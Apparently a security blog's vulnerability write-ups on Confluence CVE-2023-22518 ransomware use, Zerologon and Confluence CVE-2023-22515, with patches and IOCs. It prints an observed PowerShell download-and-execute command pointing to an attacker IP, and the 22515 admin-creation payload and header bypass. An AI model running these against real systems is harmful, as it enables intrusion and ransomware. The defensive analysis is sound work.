Presenting CVE-2023-22518

The root cause of CVE-2023-22518 is a rights control fault in the ‘WebSudo’ module used in the affected Atlassian products. Any remote, unauthenticated attacker can send specific web requests to take control of the Confluence instance. Note: Instances hosted by Atlassian, accessed via an atlassian.net domain, are not vulnerable.

The ‘WebSudo’ module was designed to support secure administrator sessions. When an administrator is logged in and wants to call an administration function, the ‘WebSudo’ module will require reauthentication. This is similar to the ‘sudo‘ command known from CLI environments.

However, specifically crafted web requests can bypass this authentication step. The following request was observed during active exploitation:

[05/Nov/2023:11:54:54 +0000] - SYSTEMNAME 193.176.179[.]41 POST /json/setup-restore.action?synchronous=true HTTP/1.1 302 44913ms - - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

The endpoint /json/setup-restore.action?synchronous=true should be protected but is publicly accessible. A proof-of-concept for this exploit was released on November 2nd, 2023.

For more technical insight, refer to this article.

How is CVE-2023-22518 used to deploy Ransomware?

On November 5th, Rapid7 observed exploitation by the threat actor group ‘Storm-0062’ (aka: ‘DarkShadow’, or ‘Oro0xly’) to deploy the ‘K3RB3R’ Ransomware.

Step 1: Gain initial access

A specific web request to /json/setup-restore.action?synchronous=true allows the attacker to create an administrator account.

Step 2: Run a Base64 PowerShell command

powershell.exe -exec bypass -nop -enc SQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAxADcANgAuADEANwA5AC4ANAAxAC8AdABtAHAALgAzADcAIgApACkA

Decodes to:

powershell.exe -exec bypass -nop -enc IEX((New-Object Net.WebClient).DownloadString(hxxp://193.176[.]179[.]41/tmp.37))

Step 3: Download second PowerShell script

Downloads from IP: 193.187.172[.]41

Figure 1: Malicious script (Source: Trendmicro)

Step 4: Download encoded C3RB3R payload

Figure 2: Encoded File (Source: Trendmicro)

Figure 3: Encoded File (Source: Trendmicro)

Step 5: Decode the payload

Using the script from Figure 3.

Step 6: Execute the decoded payload

The decoded payload encrypts all files, appending “.L0CK3D” and dropping a ransom note “read-me3.txt”.

Attack Summary

Various techniques are used:

Defense evasion through Base64 encoded commands
Multiple C2 servers to evade detection
Use of Domain Generation Algorithms (DGA)
Long-lasting C2 connections hidden with decoy traffic

Figure 4: ‘K3RB3R’ Attack stages (Source: Senthorus)

Impact

Threat actors exploiting CVE-2023-22518 can reset the Confluence instance and wipe data. They cannot exfiltrate or modify data. The attack only affects availability.

A Shodan search from January 9th, 2024, showed more than 3,500 vulnerable Confluence instances. The U.S. had the most with over 770; Switzerland ranked 22nd with 21 instances.

Figure 5: Shodan search (Source: Senthorus)

Defending against CVE-2023-22518

Permanent mitigation

Upgrade to:

7.19.16
8.3.4
8.4.4
8.5.3
8.6.1

Temporary solution

If upgrade isn’t possible:

Remove the instance from the internet
Block access to:
- /json/setup-restore.action
- /json/setup-restore-local.action
- /json/setup-restore-progress.action

Refer to the Atlassian security advisory for full guidance.

Indicators of Compromise (IOCs)

Requests to ‘/json/setup-restore*’ in logs
Encrypted/corrupted files
Unexpected admin group members
IPs: 193.176.179[.]41, 193.43.72[.]11, 45.145.6[.]112, 193.187.172[.]73
Onion URL: j3qxmk6g5sk3zw62i2yhjnwmhm55rfz47fdyfkhaithlpelfjdokdxad[.]onion

Summary

The high ease of exploitation and large number of vulnerable systems made CVE-2023-22518 attractive to threat actors. We’ve shown how it’s used to deploy C3RB3R Ransomware. Patching and regular backups are crucial.

References

CVE-2020-1472 - Zerologon

Wed, 11 Oct 2023 00:00:00 +0000

Introduction

CVE-2020-1472, also known as “Zerologon”, is a critical vulnerability that allows an unauthenticated attacker to gain domain administrator access to any given, vulnerable Domain Controller (DC). This is due to the incorrect use of an AES mode of operation, which allows anyone to spoof the identity of any computer account and set an empty password for that account in the domain. This vulnerability is rated with the highest possible CVSS score of 10.0 (critical). All versions of the Windows Server Netlogon Remote Protocol are affected, and the setup phase for the attack remains straightforward. The only requirement is the ability to set up a TCP connection with a vulnerable DC.

Presenting the Netlogon Protocol

What is the Netlogon Protocol Used For?

The Netlogon Protocol handles machine and user authentication, authentication of NTP (Network Time Protocol) responses, and allows a computer to update its password in a domain. This last capability is of particular interest to attackers aiming to compromise users or entire domains.

Understanding the Netlogon Handshake

The client initiates the handshake by sending an 8-byte arbitrary value, the ClientChallenge. The server responds with the ServerChallenge. These challenges, or “nonces”, are used to derive a session key through a key derivation function (KDF). The client generates a ClientCredential using the session key. The server verifies this by recomputing the value. If it matches, the client is authenticated. The server then sends a ServerCredential for mutual authentication. The parties may agree to encrypt and/or sign subsequent messages.

What Causes the Vulnerability?

The flaw lies in how ClientCredential and ServerCredential values are computed via the ComputeNetlogonCredential Function. This uses AES-CFB8, a mode of operation for AES. AES-CFB8 should use a random Initialization Vector (IV) for each session, but Netlogon implementation uses a fixed IV of 16 zero bytes. This violation allows for a 1 in 256 chance that an all-zero input results in an all-zero output.

This enables brute-force attacks using all-zero authentication packets. Eventually, the all-zero iteration in AES-CFB8 is hit, allowing successful authentication.

How Does the Exploitation Work?

Step 1: Initiation
The attacker sends a specially crafted Netlogon message to the domain controller.

Step 2: Malicious Netlogon Messages
The attacker sends around 256 malicious Netlogon messages with empty plaintext fields using AES-CFB8. Due to the fixed IV, the attacker can compute the ciphertext without knowing the AES key.

Step 3: Authentication Bypass
The attacker exploits the all-zero ciphertext validation flaw to impersonate the domain controller.

Step 4: Change a Computer’s AD Password
The attacker changes the domain controller’s computer password to an empty value.

Step 5: Privilege Escalation
With the password set to empty, the attacker can establish a secure channel and gain administrative access to the domain.

Impact

Complete Domain Compromise: Access to all critical resources and sensitive information.
Privilege Escalation: Gain control over high-privilege systems.
Spread of Malware: Distribute malware across the network.

Defending Against Zerologon

How to Mitigate the Vulnerability

Microsoft released a patch in their August 2020 security update. Apply the patch to mitigate the risks. Additional steps:

Enforce secure RPC communication.
Monitor network traffic for suspicious Netlogon activity.
Use enhanced features like Microsoft’s Domain Controller Enforcement Mode.

Artifacts to be Observed

Detectable artifacts include:

Windows Event ID 4742: “A computer account was changed.”
Windows Event ID 4672: “Special privileges assigned to new logon.”

Event 4742 is uncommon but not unique to attacks. Event 4672 relates to privilege escalation, not the core exploit. It’s recommended to monitor for unusual traffic spikes as well.

How Can I Check if You Are Vulnerable?

Use the test-tool published by Secura to check for Zerologon vulnerability.

Summary

CVE-2020-1472, or Zerologon, posed a severe threat to numerous networks due to its simplicity and the devastating impact of a successful attack. With just TCP access to a vulnerable domain controller, an attacker could compromise the domain.

This vulnerability highlighted how minor implementation errors can break an otherwise secure system. Regular updates and timely patching are essential for maintaining system security.

Confluence Zero-Day CVE-2023-22515

Wed, 04 Oct 2023 00:00:00 +0000

Introduction

On October 4th, Atlassian disclosed a zero-day vulnerability affecting Confluence Server and Confluence Data Center, which allows a remote, unauthenticated user to create administrator accounts on the vulnerable Confluence instance. At the time of disclosure, the vulnerability was ongoingly being exploited by a Nation-State-Threat-Actor, with attacks dating back as early as September 14th, as stated in this report from Microsoft.

The vulnerability tracked as CVE-2023-22515 received the highest possible CVSS score of 10.0, ranking it as ‘critical’. Initially, the attack vector was rated as Privilege Escalation, but soon after Atlassian updated it to a Broken Access Control.

An attacker can exploit CVE-2023-22515 to reactivate the setup phase of the Confluence instance; he then leverages this to create an additional administrator account with his own credentials. No prior knowledge is needed to execute this attack.

Presenting CVE-2023-22515 Attack Stages

Stage 1: Change the completion status of the configuration to ‘false’

When an attacker tries to access the setup page for any given Confluence page (https://<confluence-domain>.atlassian.net/setup), he will get the following message:

So, in order to start the attack, the attacker needs to send a GET request containing the following payload to the /server-info.action endpoint:

bootstrapStatusProvider.applicationConfig.setupComplete=false

For a detailed explanation, refer to this blog article from Qualys.

After successful execution of the payload, the server will respond with a ‘success’ message confirming it is operational and that the configuration phase is recognized as uncomplete.

Stage 2: Accessing the ‘setupadministrator’ endpoint

Now that the setup phase status is marked as incomplete, the next step for the attacker is to access the setupadministrator endpoint:

http://10.10.41.49:8090/setup/setupadministrator-start.action

Trying this directly, the attacker will receive a 403 Forbidden response. To bypass this, the attacker must add the following header to the request:

X-Atlassian-Token: no-check

Including this header, the attacker is now able to create a new administrator account.

Stage 3: Finishing the Setup

To exit the setup, the attacker proceeds with another POST request to the /setup/finishsetup.action endpoint. The attacker can now log in with the newly created administrator account.

The GitHub page provides an automated exploit. Use it ethically and only with permission.

To test the exploit in a safe environment, visit the TryHackMe room.

Impact

By having full access to all resources on Confluence, an attacker can modify, delete, and exfiltrate data, impacting the Confidentiality, Integrity, and Availability of the data. It is highly recommended to patch the vulnerable versions as soon as possible.

Defending Against CVE-2023-22515

Affected Versions

Atlassian reported the following versions of Confluence Data Center and Server as vulnerable:

(Source: Atlassian)

Versions prior to 8.0 are not affected. Cloud Instances hosted by Atlassian are not vulnerable.

How to Mitigate the Vulnerability?

Permanent Mitigation

Affected organizations should upgrade to one of the following fixed versions (or later):

(Source: Atlassian)

Note: Upgrading an already compromised instance will not remove the attacker’s access. Isolate the server and contact Atlassian Support.

Temporary Solution

If an immediate upgrade is not possible, block access to the /setup/ endpoint. Add the following constraint inside the <web-app> tag in /confluence/WEB-INF/web.xml:

<security-constraint>
 <web-resource-collection>
 <url-pattern>/setup/*</url-pattern>
 <http-method-omission>*</http-method-omission>
 </web-resource-collection>
 <auth-constraint />
</security-constraint>

Indicators of Compromise (IOCs)

Unknown members in the confluence-administrators group
Unexpected newly created user accounts
Unknown installed plugins
Requests to /setup/*action in network access logs
Presence of /setup/setupadministrator.action in exception messages in atlassian-confluence-security.log

Datadog Security Labs released a list of IPs likely associated with compromise.

Summary

Confluence CVE-2023-22515 allows remote, unauthenticated users to create administrator accounts on non-Atlassian-hosted Confluence sites. It is a critical zero-day vulnerability, already being exploited at the time of disclosure. Organizations are urged to patch affected systems immediately and implement strong backup and response processes.